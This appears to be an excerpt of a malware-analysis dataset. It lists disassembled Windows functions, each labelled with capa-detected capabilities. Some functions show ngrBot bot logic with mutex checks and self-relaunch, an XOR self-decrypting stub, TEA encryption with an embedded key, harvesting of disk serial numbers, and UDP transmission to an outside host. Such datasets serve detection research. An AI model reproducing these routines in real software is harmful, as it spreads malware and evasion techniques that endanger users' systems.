joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2630910
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push esi
push edi
push 0x103
lea eax, [ebp - 0x20f]
push 0
push eax
mov byte [ebp - 0x210], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
call fcn.0262a5d0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x103
lea ecx, [ebp - 0x10b]
push 0
push ecx
mov dword [0x266a70c], eax
mov byte [ebp - 0x10c], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
xor eax, eax
push 0x104
lea edx, [ebp - 0x10c]
push edx
push eax
mov byte [ebp - 8], 0
mov dword [ebp - 7], eax
mov word [ebp - 3], ax
mov byte [ebp - 1], al
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x26309cf
push 3
lea eax, [ebp - 0x10c]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.02622440
lea edx, [ebp - 8]
push edx
call fcn.0262f2b0
add esp, 4
test eax, eax
je 0x26309cf
push 5
push 0
push 0
lea eax, [ebp - 8]
push eax
push str.OPEN
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [0x266b500], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call main
add esp, 4
call fcn.02623870
cdq
mov ecx, 0xa
idiv ecx
mov esi, edx
inc esi
call fcn.02623870
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0x1f4
imul edx, esi
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.FvLQ49IlzIyLjj6m
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
je 0x2630a38
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 2
je 0x2630a38
call esi
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.30e41aa1
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push str.30e41aa1
call fcn.02621e60
push eax
push str._08x
lea edx, [ebp - 0x210]
push 0x103
push edx
call sub.MSVCRT.dll__snprintf
lea eax, [ebp - 0x210]
push eax
call fcn.02624d00
add esp, 0x1c
test eax, eax
jne 0x2630a7f
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.running
push str.ngrBot
call fcn.026273e0
add esp, 8
cmp eax, 1
jne 0x2630a9e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.running
push str.ngrBot
call fcn.02627330
push 0
call fcn.0262b300
add esp, 0xc
mov esi, eax
call fcn.02626850
push 0x208
push 0x266afb0
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push edi
push str._s_s.exe
push 0x266ada0
call dword [sym.imp.USER32.dll_wsprintfW]
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0x10
push 0
push 0
push 0x104
push 0x266ac50
push 0xffffffffffffffff
push 0x266ada0
push 0
push 0
call edi
push 0x208
push esi
push 0x266b1b8
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push 0
push 0
push 0x104
push 0x266b3e0
push 0xffffffffffffffff
push esi
push 0
push 0
call edi
xor eax, eax
mov ecx, 0x14c
cmp word [0x7ffe002c], cx
setne al
mov dword [0x266b504], eax
test eax, eax
je 0x2630b5f
call fcn.0262a990
push 0x9c4
mov dword [0x266b508], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0x2636d28
call fcn.02625ce0
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x401440
Capabilities:
Encode data using xor

Disassembly:
mov ebx, 0xbbeaf81f
xor ebx, 0xbfeaf81f
jmp 0x4014f0
mov edx, 0xa919783e
xor edx, 0xa919783a
mov ecx, 0x25135daf
xor ecx, 0x25136daf
mov eax, 0x500
ror eax, 0x1c
push edx
push ecx
push eax
mov edx, dword [ebp - 0xb4]
rol edx, 4
rol edx, 0xa
mov dword [ebp - 8], edx
push ebx
call fcn.00401644
push esi
pop ecx
mov ebx, eax
test ebx, ebx
je 0x4014f0
sub ebx, 0x86b78ac7
mov dword [ebp - 0x10], ebx
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401025
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x48e5fc]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
xor edi, edi
test byte [0x492b50], 1
mov dword [ebp - 0x214], edi
jne 0x401071
mov eax, dword [0x491894]
or dword [0x492b50], 1
mov ecx, 0x491894
call dword [eax + 0xc]
add eax, 0x10
push 0x46e3b0
mov dword [0x492b4c], eax
call fcn.00448fb6
pop ecx
mov eax, dword [0x492b4c]
cmp dword [eax - 0xc], edi
jne 0x4010ba
push 0x20a
lea eax, [ebp - 0x20e]
push edi
push eax
mov word [ebp - 0x210], di
call fcn.00449330
add esp, 0xc
push 1
push 0x25
lea eax, [ebp - 0x210]
push eax
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp - 0x210]
push eax
push 0x492b4c
call fcn.004015d9
mov eax, dword [0x492b4c]
add eax, 0xfffffff0
call fcn.0040166c
mov ecx, dword [ebp - 4]
add eax, 0x10
mov dword [esi], eax
xor ecx, ebp
mov eax, esi
pop edi
call fcn.00448d93
leave
ret

Function at 0x4010db
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x48e5fc]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
xor edi, edi
test byte [0x492b48], 1
mov dword [ebp - 0x214], edi
jne 0x401127
mov eax, dword [0x491894]
or dword [0x492b48], 1
mov ecx, 0x491894
call dword [eax + 0xc]
add eax, 0x10
push 0x46e3bd
mov dword [0x492b44], eax
call fcn.00448fb6
pop ecx
mov eax, dword [0x492b44]
cmp dword [eax - 0xc], edi
jne 0x401170
push 0x20a
lea eax, [ebp - 0x20e]
push edi
push eax
mov word [ebp - 0x210], di
call fcn.00449330
add esp, 0xc
push 1
push 0x24
lea eax, [ebp - 0x210]
push eax
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp - 0x210]
push eax
push 0x492b44
call fcn.004015d9
mov eax, dword [0x492b44]
add eax, 0xfffffff0
call fcn.0040166c
mov ecx, dword [ebp - 4]
add eax, 0x10
mov dword [esi], eax
xor ecx, ebp
mov eax, esi
pop edi
call fcn.00448d93
leave
ret
Function at 0x401191
Capabilities:
Check if file exists

Disassembly:
push 0x14
mov eax, 0x46be40
call fcn.0045199e
mov eax, dword [ebp + 8]
mov dword [ebp - 0x20], eax
mov eax, dword [eax]
xor edi, edi
cmp dword [eax - 0xc], edi
je 0x40134c
mov eax, dword [0x491894]
mov esi, 0x491894
mov ecx, esi
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], edi
mov eax, dword [0x491894]
mov ecx, esi
call dword [eax + 0xc]
lea ebx, [eax + 0x10]
mov dword [ebp - 0x14], ebx
mov byte [ebp - 4], 1
cmp dword [ebx - 0xc], edi
jne 0x401314
mov eax, dword [ebp - 0x20]
lea edi, [ebp - 0x14]
call fcn.004013b6
mov ebx, dword [ebp - 0x14]
push ebx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x401208
mov esi, edi
call fcn.004019d6
mov ebx, dword [ebp - 0x14]
cmp dword [ebx - 0xc], 0
jne 0x401314
lea esi, [ebp - 0x18]
call fcn.004019d6
lea esi, [ebp - 0x1c]
call fcn.00401025
lea edi, [ebp - 0x18]
mov byte [ebp - 4], 4
call fcn.004013b6
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
call fcn.004019a6
mov eax, dword [ebp - 0x18]
cmp dword [eax - 0xc], 0
je 0x401290
mov esi, edi
call fcn.00401000
push dword [ebp - 0x20]
lea eax, [ebp - 0x1c]
push eax
mov ecx, edi
call fcn.0040147e
pop ecx
pop ecx
lea edi, [ebp - 0x14]
mov byte [ebp - 4], 5
call fcn.004013b6
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
call fcn.004019a6
mov ebx, dword [ebp - 0x14]
push ebx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x401290
mov esi, edi
call fcn.004019d6
mov ebx, dword [ebp - 0x14]
cmp dword [ebx - 0xc], 0
jne 0x401314
lea esi, [ebp - 0x18]
call fcn.004019d6
lea esi, [ebp - 0x1c]
call fcn.004010db
lea edi, [ebp - 0x18]
mov byte [ebp - 4], 6
call fcn.004013b6
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
call fcn.004019a6
mov eax, dword [ebp - 0x18]
cmp dword [eax - 0xc], 0
je 0x401310
mov esi, edi
call fcn.00401000
push dword [ebp - 0x20]
lea eax, [ebp - 0x1c]
push eax
mov ecx, edi
call fcn.0040147e
pop ecx
pop ecx
lea edi, [ebp - 0x14]
mov byte [ebp - 4], 7
call fcn.004013b6
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
call fcn.004019a6
mov ebx, dword [ebp - 0x14]
push ebx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x401310
mov esi, edi
call fcn.004019d6
mov ebx, dword [ebp - 0x14]
cmp dword [ebx - 0xc], 0
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
je 0x401330
push ebx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x401330
push ebx
call esi
mov edi, eax
test edi, edi
jne 0x401339
mov eax, dword [ebp - 0x20]
push dword [eax]
call esi
mov edi, eax
lea eax, [ebx - 0x10]
call fcn.004019a6
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff0
call fcn.004019a6
mov eax, edi
call fcn.00451a21
ret
Function at 0x40176f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push dword [esp + 0xc]
mov esi, eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x401786
pop esi
ret
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x4017bb
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, edi
and esi, 0xf
jbe 0x4017b7
cmp edi, eax
jae 0x4017bb
dec esi
movzx ecx, word [edi]
lea edi, [edi + ecx*2 + 2]
jne 0x4017a9
cmp edi, eax
jb 0x4017bf
xor eax, eax
jmp 0x4017c9
mov ax, word [edi]
neg ax
sbb eax, eax
and eax, edi
pop edi
pop esi
ret

Function at 0x401b77
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 0xc]
push esi
push edi
xor esi, esi
push esi
push dword [ebp + 8]
mov word [eax], si
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov edi, eax
cmp edi, esi
jne 0x401b9f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x401c19
push ebx
push edi
call fcn.00447e5b
mov ebx, eax
cmp ebx, esi
pop ecx
jne 0x401bb2
push 8
pop esi
jmp 0x401c18
push ebx
push edi
push esi
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoW
test eax, eax
je 0x401c09
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0x47a9ec
push ebx
mov dword [ebp - 4], esi
mov dword [ebp - 8], esi
call sub.VERSION.dll_VerQueryValueW
test eax, eax
je 0x401c09
mov eax, dword [ebp - 4]
movzx ecx, word [eax + 0xc]
push ecx
movzx ecx, word [eax + 0xe]
push ecx
movzx ecx, word [eax + 8]
movzx eax, word [eax + 0xa]
push ecx
push eax
push 0x47a9f0
push 0x7e
push dword [ebp + 0xc]
call fcn.004493aa
add esp, 0x1c
jmp 0x401c11
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push ebx
call fcn.00449925
pop ecx
pop ebx
pop edi
mov eax, esi
pop esi
leave
ret
Function at 0x401c1f
Capabilities:
Parse pe header
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x188
mov eax, dword [0x48e5fc]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov esi, ecx
push eax
push esi
mov dword [ebp - 0x54], eax
call fcn.00401b77
pop ecx
pop ecx
xor edi, edi
push edi
push 0x80
push 3
push edi
push 1
push closesocket
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401c71
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x401d50
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
lea eax, [ebp - 0x50]
push eax
push 0x40
lea eax, [ebp - 0x4c]
push eax
push ebx
mov dword [ebp - 0x58], 0xb
call esi
test eax, eax
je 0x401d4d
cmp dword [ebp - 0x50], 0x40
jne 0x401d4d
cmp word [ebp - 0x4c], 0x5a4d
jne 0x401d4d
push edi
push edi
push dword [ebp - 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push edi
lea eax, [ebp - 0x50]
push eax
push 0xf8
lea eax, [ebp - 0x184]
push eax
push ebx
call esi
test eax, eax
je 0x401d4d
cmp dword [ebp - 0x50], 0xf8
jne 0x401d4d
cmp dword [ebp - 0x184], 0x4550
jne 0x401d4d
push dword [ebp - 0x54]
call fcn.00448d7d
mov ebx, eax
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x64]
push eax
mov dword [ebp - 0x60], edi
call fcn.00449bef
push 9
pop ecx
mov esi, eax
lea edi, [ebp - 0x88]
rep movsd dword es:[edi], dword [esi]
push dword [ebp - 0x88]
mov eax, dword [ebp - 0x78]
push dword [ebp - 0x84]
inc eax
push dword [ebp - 0x80]
push dword [ebp - 0x7c]
push eax
mov eax, dword [ebp - 0x74]
add eax, 0x76c
push eax
push str.__04d__02d__02d__02d:_02d:_02d
push 0x7e
pop eax
sub eax, ebx
push eax
mov eax, dword [ebp - 0x54]
lea eax, [eax + ebx*2]
push eax
call fcn.004493aa
add esp, 0x2c
and dword [ebp - 0x58], 0
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00448d93
leave
ret
Function at 0x401d5f
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0x120
mov eax, dword [0x48e5fc]
xor eax, ebp
mov dword [ebp + 0x70], eax
push esi
push 0x118
lea eax, [ebp - 0xa8]
push 0
push eax
call fcn.00449330
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExW]
add esp, 0xc
lea eax, [ebp - 0xac]
push eax
mov dword [ebp - 0xac], 0x11c
call esi
test eax, eax
jne 0x401dc7
lea eax, [ebp - 0xac]
push eax
mov dword [ebp - 0xac], 0x114
call esi
test eax, eax
jne 0x401dc7
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x401e3b
mov eax, dword [ebp - 0x9c]
sub eax, 0
mov edx, dword [ebp - 0xa4]
mov esi, dword [ebp - 0xa8]
mov ecx, str.Unknow_system
je 0x401ec2
dec eax
je 0x401e67
dec eax
jne 0x401ec7
cmp esi, 4
ja 0x401e00
mov ecx, str.Microsoft_Windows_NT
jmp 0x401ec7
cmp esi, 5
jne 0x401e57
mov edx, dword [ebp - 0xa4]
test edx, edx
jne 0x401e4b
mov ecx, str.Microsoft_Windows_2000
lea eax, [ebp - 0x98]
push ebx
movzx ebx, word [ebp - 0xa0]
push ebx
push edx
push esi
push eax
push ecx
push str._s__s__Build__d._d._d_
push dword [ebp + 0x7c]
push edi
call fcn.004493aa
add esp, 0x20
xor eax, eax
pop ebx
mov ecx, dword [ebp + 0x70]
xor ecx, ebp
pop esi
call fcn.00448d93
add ebp, 0x74
leave
ret
cmp edx, 1
jne 0x401e14
mov ecx, str.Microsoft_Windows_XP
jmp 0x401e14
cmp esi, 6
jne 0x401ec7
test edx, edx
jne 0x401e14
mov ecx, str.Microsoft_Windows_Vista
jmp 0x401ec7
cmp esi, 4
jne 0x401ebb
test edx, edx
jne 0x401e92
cmp word [ebp - 0x96], 0x43
je 0x401e8b
cmp word [ebp - 0x96], 0x42
je 0x401e8b
mov ecx, str.Microsoft_Windows_95
jmp 0x401ed0
mov ecx, str.Microsoft_Windows_95_OSR2
jmp 0x401ed0
cmp edx, 0xa
jne 0x401eaf
cmp word [ebp - 0x96], 0x41
jne 0x401ea8
mov ecx, str.Microsoft_Windows_98_SE
jmp 0x401ed0
mov ecx, str.Microsoft_Windows_98
jmp 0x401ed0
cmp edx, 0x5a
jne 0x401ebb
mov ecx, str.Microsoft_Windows_Me
jmp 0x401ed0
mov ecx, str.Microsoft_Windows_Me_later
jmp 0x401ec7
mov ecx, str.Microsoft_Win32s
cmp esi, 4
ja 0x401e14
mov eax, 0x47a840
jmp 0x401e1a
Function at 0x401eda
Capabilities:
Create udp socket
Initialize winsock library
Resolve dns
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b0
mov eax, dword [0x48e5fc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1b0], eax
mov eax, 0x5a0
cmp dword [ebp + 0xc], eax
push esi
push edi
jbe 0x401f05
mov dword [ebp + 0xc], eax
lea eax, [ebp - 0x1a8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x11
push 2
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [ebp - 0x1ac], eax
je 0x401fa7
push str.stat.qq.com
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
test esi, esi
je 0x401f9b
xor eax, eax
lea edi, [ebp - 0x12]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x26b0
mov word [ebp - 0x14], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
mov eax, dword [esi + 0xc]
xor ecx, ecx
cmp dword [eax], ecx
jne 0x401f72
mov edx, eax
add edx, 4
inc ecx
cmp dword [edx], 0
je 0x401f69
mov eax, dword [eax + ecx*4]
mov eax, dword [eax]
test eax, eax
mov dword [ebp - 0x10], eax
je 0x401f9b
push 0x10
lea eax, [ebp - 0x14]
push eax
push 0
push dword [ebp + 0xc]
push dword [ebp - 0x1b0]
push dword [ebp - 0x1ac]
call dword [sym.imp.WS2_32.dll_sendto]
push dword [ebp - 0x1ac]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00448d93
leave
ret
Function at 0x40233b
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x184
mov eax, dword [0x48e5fc]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
and dword [ebp - 0x78], 0
push ebx
push esi
lea edx, [ebp - 0x78]
push edx
push 0x40
mov dword [ebp - 0x88], ecx
mov ecx, dword [ebp + 0xc]
lea edx, [ebp - 0x74]
push edx
mov dword [ebp - 0x8c], ecx
mov ecx, dword [ebp + 0x10]
push edi
push eax
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x84], ecx
call ecx
cmp dword [ebp - 0x78], 0x40
jne 0x402434
cmp word [ebp - 0x74], 0x5a4d
jne 0x402434
mov eax, dword [ebp - 0x38]
and dword [ebp - 0x78], 0
lea ebx, [edi + eax]
lea eax, [ebp - 0x78]
push eax
mov esi, 0xf8
push esi
lea eax, [ebp - 0x184]
push eax
push ebx
push dword [ebp - 0x80]
call dword [ebp - 0x84]
cmp dword [ebp - 0x78], esi
jne 0x402434
cmp dword [ebp - 0x184], 0x4550
jne 0x402434
cmp word [ebp - 0x180], 0x14c
jne 0x402434
cmp word [ebp - 0x16c], 0x10b
jne 0x402434
and dword [ebp - 0x7c], 0
add ebx, esi
cmp word [ebp - 0x17e], 0
jbe 0x402434
mov esi, 0x20000020
and dword [ebp - 0x78], 0
lea eax, [ebp - 0x78]
push eax
push 0x28
lea eax, [ebp - 0x30]
push eax
push ebx
push dword [ebp - 0x80]
call dword [ebp - 0x84]
cmp dword [ebp - 0x78], 0x28
jne 0x402434
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x402434
mov ecx, dword [ebp - 0xc]
and ecx, esi
cmp ecx, esi
je 0x402444
movzx eax, word [ebp - 0x17e]
inc dword [ebp - 0x7c]
cmp dword [ebp - 0x7c], eax
jb 0x4023f7
xor eax, eax
mov ecx, dword [ebp - 8]
pop esi
xor ecx, ebp
pop ebx
call fcn.00448d93
leave
ret
mov ecx, dword [ebp - 0x88]
add eax, edi
mov dword [ecx], eax
mov ecx, dword [ebp - 0x20]
add eax, ecx
mov ecx, dword [ebp - 0x8c]
mov dword [ecx], eax
xor eax, eax
inc eax
jmp 0x402436

Function at 0x403a2c
Capabilities:
Hash data with md5

Disassembly:
push 0x5c
push 0
push esi
call fcn.00449330
and dword [esi + 0x10], 0
and dword [esi + 0x14], 0
and dword [esi + 0x58], 0
add esp, 0xc
mov dword [esi], 0x67452301
mov dword [esi + 4], 0xefcdab89
mov dword [esi + 8], 0x98badcfe
mov dword [esi + 0xc], 0x10325476
ret
Function at 0x404496
Capabilities:
Encode data using xor
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, dword [sym.imp.WS2_32.dll_ntohl]
push edi
mov ebx, eax
push dword [ebx]
call esi
push dword [ebx + 4]
mov edi, eax
call esi
and dword [ebp - 4], 0
mov ebx, eax
mov eax, dword [ebp - 4]
push dword [eax + str.37k_IF__y_d]
call esi
mov ecx, dword [ebp - 4]
add dword [ebp - 4], 4
cmp dword [ebp - 4], 0x10
mov dword [ebp + ecx - 0x14], eax
jl 0x4044b8
push 0x10
xor eax, eax
pop ecx
mov edx, ebx
shr edx, 5
add edx, dword [ebp - 0x10]
mov esi, ebx
shl esi, 4
add esi, dword [ebp - 0x14]
sub eax, 0x61c88647
xor edx, esi
lea esi, [eax + ebx]
xor edx, esi
add edi, edx
mov edx, edi
shr edx, 5
add edx, dword [ebp - 8]
mov esi, edi
shl esi, 4
add esi, dword [ebp - 0xc]
xor edx, esi
lea esi, [eax + edi]
xor edx, esi
add ebx, edx
dec ecx
jne 0x4044d9
mov esi, dword [sym.imp.WS2_32.dll_htonl]
push edi
call esi
mov edi, dword [ebp + 8]
push ebx
mov dword [edi], eax
call esi
mov dword [edi + 4], eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40452c
Capabilities:
Encode data using xor
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, dword [sym.imp.WS2_32.dll_ntohl]
push edi
mov edi, eax
push dword [edi]
call esi
push dword [edi + 4]
mov ebx, eax
call esi
and dword [ebp - 4], 0
mov edi, eax
mov eax, dword [ebp - 4]
push dword [eax + str.37k_IF__y_d]
call esi
mov ecx, dword [ebp - 4]
add dword [ebp - 4], 4
cmp dword [ebp - 4], 0x10
mov dword [ebp + ecx - 0x14], eax
jl 0x40454e
push 0x10
mov eax, 0xe3779b90
pop ecx
mov edx, ebx
shr edx, 5
add edx, dword [ebp - 8]
mov esi, ebx
shl esi, 4
add esi, dword [ebp - 0xc]
xor edx, esi
lea esi, [eax + ebx]
xor edx, esi
sub edi, edx
mov edx, edi
shr edx, 5
add edx, dword [ebp - 0x10]
mov esi, edi
shl esi, 4
add esi, dword [ebp - 0x14]
xor edx, esi
lea esi, [eax + edi]
xor edx, esi
sub ebx, edx
add eax, 0x61c88647
dec ecx
jne 0x404572
mov esi, dword [sym.imp.WS2_32.dll_htonl]
push ebx
call esi
mov ebx, dword [ebp + 8]
push edi
mov dword [ebx], eax
call esi
pop edi
pop esi
mov dword [ebx + 4], eax
pop ebx
leave
ret
Function at 0x404e90
Capabilities:
Get disk information

Disassembly:
push 0xb0
mov eax, 0x46c8da
call fcn.0045199e
mov eax, dword [ebp + 8]
push 9
pop ecx
mov esi, str..PhysicalDriveN
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp + 0x10]
xor ebx, ebx
mov dword [ebp - 0x6c], eax
mov byte [ebp - 0x41], bl
mov word [ebp - 0x18], 0x20
mov word [ebp - 0x16], 0x3a
mov word [ebp - 0x14], 0x5c
mov word [ebp - 0x12], bx
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
xor ecx, ecx
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x50], ebx
or edi, 0xffffffff
cmp byte [ebp - 0x41], bl
jne 0x4050b1
mov edx, dword [ebp - 0x64]
xor eax, eax
inc eax
shl eax, cl
test edx, eax
je 0x4050a1
lea eax, [ebp - 0x18]
add ecx, 0x41
push eax
mov word [ebp - 0x18], cx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
je 0x404f27
cmp eax, 6
jne 0x4050a1
mov eax, dword [ebp - 0x50]
push ebx
push ebx
push 3
push ebx
add eax, 0x30
inc dword [ebp - 0x50]
push 7
mov word [ebp - 0x1e], ax
push 0xc0000000
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, edi
mov dword [ebp - 0x48], eax
je 0x4050a1
push 0x18
lea eax, [ebp - 0xa0]
push ebx
push eax
mov dword [ebp - 0x5c], ebx
call fcn.00449330
add esp, 0xc
push ebx
lea eax, [ebp - 0x5c]
push eax
push 0x18
lea eax, [ebp - 0xa0]
push eax
push ebx
push ebx
push 0x74080
push dword [ebp - 0x48]
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x405098
push 0x221
call fcn.0044ad35
mov esi, eax
cmp esi, ebx
pop ecx
mov dword [ebp - 0x4c], esi
je 0x405098
push ebx
lea eax, [ebp - 0x58]
push eax
push 0x221
push esi
push 0x21
push esi
push 0x7c088
push dword [ebp - 0x48]
mov byte [esi + 0xa], 0xec
mov dword [ebp - 0x58], ebx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x405091
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
add esi, 0x10
cmp esi, ebx
je 0x40508e
cmp eax, 0x2e
jbe 0x40508e
push 0x13
push esi
push 0xa
pop ecx
lea edx, [ebp - 0x88]
call fcn.00404a08
pop ecx
pop ecx
mov ecx, dword [ebp - 0x60]
push edi
push ebx
push eax
mov dword [ebp - 4], ebx
call fcn.00409767
push ebx
push 1
lea ecx, [ebp - 0x88]
mov dword [ebp - 4], edi
call fcn.00409695
push 0x2e
push esi
push 0x1b
pop ecx
lea edx, [ebp - 0x88]
call fcn.00404a08
pop ecx
pop ecx
mov ecx, dword [ebp - 0x68]
push edi
push ebx
push eax
mov dword [ebp - 4], 1
call fcn.00409767
push ebx
push 1
lea ecx, [ebp - 0x88]
mov dword [ebp - 4], edi
call fcn.00409695
push 0x1a
push esi
push 0x17
pop ecx
lea edx, [ebp - 0xbc]
call fcn.00404a08
pop ecx
pop ecx
mov ecx, dword [ebp - 0x6c]
push edi
push ebx
push eax
mov dword [ebp - 4], 2
call fcn.00409767
push ebx
push 1
lea ecx, [ebp - 0xbc]
mov dword [ebp - 4], edi
call fcn.00409695
mov byte [ebp - 0x41], 1
mov esi, dword [ebp - 0x4c]
push esi
call fcn.0044adf8
pop ecx
push dword [ebp - 0x48]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x54]
inc ecx
cmp ecx, 0x20
mov dword [ebp - 0x54], ecx
jl 0x404eef
mov al, byte [ebp - 0x41]
call fcn.00451a21
ret